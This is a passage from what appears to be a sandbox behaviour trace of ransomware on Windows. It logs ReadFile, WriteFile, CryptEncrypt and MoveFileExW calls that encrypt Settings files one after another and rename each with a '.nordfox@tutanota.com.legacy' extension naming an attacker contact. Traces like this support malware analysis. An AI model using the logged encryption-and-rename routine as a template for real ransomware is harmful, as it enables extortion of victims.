dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.063] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x42b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0199.064] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42b [0199.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.064] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.064] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.065] CloseHandle (hObject=0x1c24) returned 1 [0199.065] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemInfo.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsysteminfo.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemInfo.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsysteminfo.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.067] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.067] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.067] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemDisplay.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.067] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0199.068] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.068] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0199.069] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43a [0199.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.069] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.069] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.069] CloseHandle (hObject=0x1c24) returned 1 [0199.070] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemDisplay.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsystemdisplay.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemDisplay.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsystemdisplay.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.072] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.072] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.072] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemDeviceSettings.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.072] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x45d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x45d, lpOverlapped=0x0) returned 1 [0199.085] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1117, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.085] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x45d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x45d, lpOverlapped=0x0) returned 1 [0199.085] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x45d [0199.085] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.085] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.086] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.086] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.086] CloseHandle (hObject=0x1c24) returned 1 [0199.086] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemDeviceSettings.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsystemdevicesettings.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemDeviceSettings.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsystemdevicesettings.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.091] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.091] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.091] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemDevices.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.091] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0199.120] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.120] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0199.121] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43a [0199.121] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.121] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.121] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.122] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.122] CloseHandle (hObject=0x1c24) returned 1 [0199.122] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemDevices.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsystemdevices.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemDevices.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsystemdevices.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.124] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0199.124] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemBluetooth.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.125] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x444, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0199.126] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1092, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.126] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x444, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0199.126] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x444 [0199.126] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.126] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.127] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.127] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.127] CloseHandle (hObject=0x1c24) returned 1 [0199.127] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemBluetooth.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsystembluetooth.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemBluetooth.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsystembluetooth.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.129] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.129] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.129] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemAutoPlay.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.129] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43f, lpOverlapped=0x0) returned 1 [0199.156] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1087, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.156] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43f, lpOverlapped=0x0) returned 1 [0199.159] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43f [0199.159] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.159] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.160] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.160] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.160] CloseHandle (hObject=0x1c24) returned 1 [0199.161] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemAutoPlay.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsystemautoplay.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePCSystemAutoPlay.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagepcsystemautoplay.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.164] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.164] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.164] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkWorkplace.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.164] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43f, lpOverlapped=0x0) returned 1 [0199.166] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1087, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.166] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43f, lpOverlapped=0x0) returned 1 [0199.166] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43f [0199.166] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.166] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.166] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.167] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.167] CloseHandle (hObject=0x1c24) returned 1 [0199.167] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkWorkplace.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkworkplace.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkWorkplace.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkworkplace.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.169] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.169] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.169] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkWiFi.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.170] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x426, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x426, lpOverlapped=0x0) returned 1 [0199.171] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1062, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.171] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x426, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x426, lpOverlapped=0x0) returned 1 [0199.171] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x426 [0199.172] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.172] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.172] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.172] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.172] CloseHandle (hObject=0x1c24) returned 1 [0199.173] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkWiFi.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagenetworkwifi.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageNetworkWiFi.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: 